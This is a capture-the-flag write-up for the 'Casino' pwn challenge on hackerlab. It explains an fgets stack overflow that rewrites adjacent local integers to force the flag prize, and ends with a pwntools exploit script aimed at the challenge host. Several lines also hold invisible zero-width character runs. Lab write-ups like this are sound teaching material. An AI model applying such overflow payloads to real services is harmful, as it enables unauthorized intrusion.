Казино (Casino)

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-04-04 | Status: Solved Techniques: adjacent_stack_variable_overwrite, logic_bypass

Summary

Task: a PIE slot-machine binary reads 0x8c bytes into a 0x70-byte stack buffer in main(), letting adjacent local integers control the prize-selection bounds. Solution: overflow those locals to set max=1000000 and min=-1, force the special flag prize, then wait for the animation and let print_flag() read the flag from the environment.

Казино (Casino) — hackerlab

Description

Original organizer description was not preserved in the local task files.

The challenge exposes a remote slot-machine service at 62.173.140.174:27910. The goal is to abuse a stack overflow in main() so the game always returns the special [ ФЛАГ ] prize and then prints the flag.

Analysis

Binary summary

• ELF64, PIE, Full RELRO, NX, no canary, not stripped
• Remote: 62.173.140.174:27910
• Flag format: CODEBY{...}

This is not a control-flow hijack challenge. PIE and Full RELRO do not matter much because the bug is enough to corrupt nearby local variables and break the game logic. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability

main() uses:

 c read-only • copy allowed Copy
fgets(buf, 0x8c, stdin);

but buf is only 0x70 bytes long. That gives a classic stack overflow into adjacent locals.

The useful targets are two local integers located after the buffer:

• offset 0x64 from the start of the payload path to flag_max_val
• offset 0x68 from the start of the payload path to flag_min_val

Those values are later copied into the globals flag_max_val and flag_min_val, which are used by get_gift_name() to decide whether the random result corresponds to the special [ ФЛАГ ] prize. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit idea

We choose menu option 1 and continue sending enough data to overflow past the buffer and replace both integers:

• flag_max_val = 1000000
• flag_min_val = -1

With this range, the flag prize check always succeeds, so get_gift_name() returns [ ФЛАГ ] regardless of the normal game logic.

After the input is accepted, the program shows a slot-machine animation for about 9-10 seconds. Once it finishes, print_flag() is reached and prints the flag via getenv("FLAG").

Solution

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Steps

1. Connect to the remote service.
2. Send 1 as the menu option.
3. Pad the input until the two adjacent integers are reached.
4. Overwrite them with 1000000 and -1.
5. Wait for the animation to complete.
6. Read the printed flag.

Exploit script

 python read-only • copy allowed Copy
#!/usr/bin/env python3
from pwn import *
import time

HOST = "62.173.140.174"
PORT = 27910

context.log_level = "info"


def main():
    io = remote(HOST, PORT)

    payload = b"1" + b"A" * (0x64 - 1)
    payload += p32(1000000)
    payload += p32(0xffffffff)  # -1 as signed int
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    io.sendline(payload)

    time.sleep(10)
    io.interactive()


if __name__ == "__main__":
    main()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍